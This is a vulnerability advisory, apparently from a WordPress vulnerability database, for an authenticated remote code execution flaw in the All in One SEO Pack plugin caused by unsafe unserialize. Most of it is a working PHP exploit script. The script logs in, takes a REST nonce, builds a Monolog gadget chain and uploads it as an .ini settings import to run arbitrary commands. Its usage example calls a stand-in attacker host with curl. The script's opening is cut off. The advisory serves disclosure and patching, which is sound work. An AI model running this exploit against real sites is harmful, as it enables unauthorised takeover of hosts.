Lucene search

K
wpvulndbWpvulndbWPVDB-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1
HistoryMay 09, 2021 - 12:00 a.m.

All in One SEO Pack < 4.1.0.2 - Admin RCE via unserialize

2021-05-0900:00:00
wpscan.com
18

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

The plugin enables authenticated users with “aioseo_tools_settings” privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin’s configuration by uploading a backup .ini file in the section “Tool > Import/Export”. However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution. As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).

PoC

socket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record[‘level’] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace { // Quick and dirty HTTP request call class class Request { protected $base_url; protected $cookiejar; protected $proxy_host; protected $proxy_port; public function __construct($base_url, $proxy = null) { $this->base_url = $base_url; $this->cookiejar = tempnam(sys_get_temp_dir(), ‘cookiejar-’); if ($proxy) { $proxy_array = explode(“:”, $proxy); $this->proxy_host = $proxy_array[0]; $this->proxy_port = $proxy_array[1]; } } public function do($uri, $post = null, $headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if ($this->proxy_host && $this->proxy_port) { curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host); curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port); } if ($headers) { curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, “POST”); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $content = curl_exec($ch); if(curl_errno($ch)) { throw new Exception(sprintf(“HTTP Error: %s”, curl_error($ch))); } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 403) { throw new Exception(sprintf(“HTTP Error: %d: %s\nMake sure you are connected with admin privileges”, $http_code, $content)); } else if ($http_code >= 400) { throw new Exception(sprintf(“HTTP Error: %d: %s”, $http_code, $content)); } curl_close($ch); return $content; } } // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php function process_serialized($serialized) { $new = ‘’; $last = 0; $current = 0; $pattern = ‘#\bs:([0-9]+):"#’; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == ‘";’ )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); # Convert every special character to its S representation $clean_string = ‘’; for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; $clean_string .= ctype_print($letter) && $letter != ‘\' ? $letter : sprintf(“\%02x”, ord($letter)); ; } # Make the replacement $new .= substr($serialized, $last, $p_start - $last) . ‘S:’ . $matches[1][0] . ‘:"’ . $clean_string . ‘";’ ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } // Banner echo “-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --”.PHP_EOL; echo “-- Exploit by Vincent MICHEL (@darkpills) --”.PHP_EOL.PHP_EOL; // Check args if ($argc < 6) { echo sprintf(“Usage: php %s url login password php_command arguments [proxy]”, $argv[0]).PHP_EOL; echo sprintf(“Example: php %s https://mywordpress.site.com admin admin shell_exec ‘curl http://evil.com/’”, $argv[0]).PHP_EOL; exit(1); } // Check dependencies if (!extension_loaded(“curl”)) { echo “Extension php-curl not loaded!”.PHP_EOL; exit(1); } // Settings $wp_url = $argv[1]; $wp_user = $argv[2]; $wp_pass = $argv[3]; $function = $argv[4]; $parameter = $argv[5]; $proxy = isset($argv[6]) ? $argv[6] : null; $request = new Request($wp_url, $proxy); try { // 1) Log in as admin echo sprintf(“[+] Authenticating to wordpress %s”, $wp_url).PHP_EOL; $request->do(“/wp-login.php”, [ ‘log’ => $wp_user, ‘pwd’ => $wp_pass, ‘rememberme’ => ‘forever’, ‘wp-submit’ => ‘Log+In’, ]); // 2) GET REST Nonce echo “[+] Getting WP REST API nonce”.PHP_EOL; $content = $request->do(“/wp-admin/post-new.php”); preg_match(’/wp\.apiFetch\.createNonceMiddleware\(\s"([^“]+)”\s\)/‘, $content, $matches); if (!isset($matches[1])) { echo sprintf(“[!] Nonce not found, are you connected?”).PHP_EOL; exit(1); } $restnonce = $matches[1]; echo sprintf(“[+] Nonce found: %s”, $restnonce).PHP_EOL; // 3) Upload file to trigger RCE echo sprintf(“[+] Generating POST payload to execute command: %s("%s")”, $function, $parameter).PHP_EOL; // Create the POST payload template $boundary = uniqid(); $postData = “”; $postData .= “------WebKitFormBoundary”.$boundary .“\r\n”; $postData .= “Content-Disposition: form-data; name="file"; filename="test.ini"\r\n”; $postData .= “Content-Type: application/octet-stream\r\n”; $postData .= “\r\n”; $postData .= “[Test]\r\n”; $postData .= "test=’%s’\r\n"; $postData .= “\r\n”; $postData .= “------WebKitFormBoundary”.$boundary .“–\r\n”; // Create the gadget chain object $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler( new \AIOSEO\Vendor\Monolog\Handler\BufferHandler( [‘current’, $function], [$parameter, ‘level’ => null] ) ); // Serialize the object, encode the string, and populate the POST template $postData = sprintf($postData, process_serialized(serialize($gadgetChain))); // Append in HTTP headers wordpress nonce from previous request in $headers = array( “X-WP-Nonce: $restnonce”, “Content-Type: multipart/form-data; boundary=----WebKitFormBoundary” . $boundary ); echo “[+] Uploading ini file with import settings”.PHP_EOL; $content = $request->do(“/index.php/wp-json/aioseo/v1/settings/import/”, $postData, $headers); echo “[+] Done! Check the result somewhere (blind command execution)”.PHP_EOL; exit(0); } catch (Exception $e) { echo sprintf(“[!] Error: %s”, $e->getMessage()).PHP_EOL; exit(1); } }

CPENameOperatorVersion
all-in-one-seo-packlt4.1.0.2

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

Related for WPVDB-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1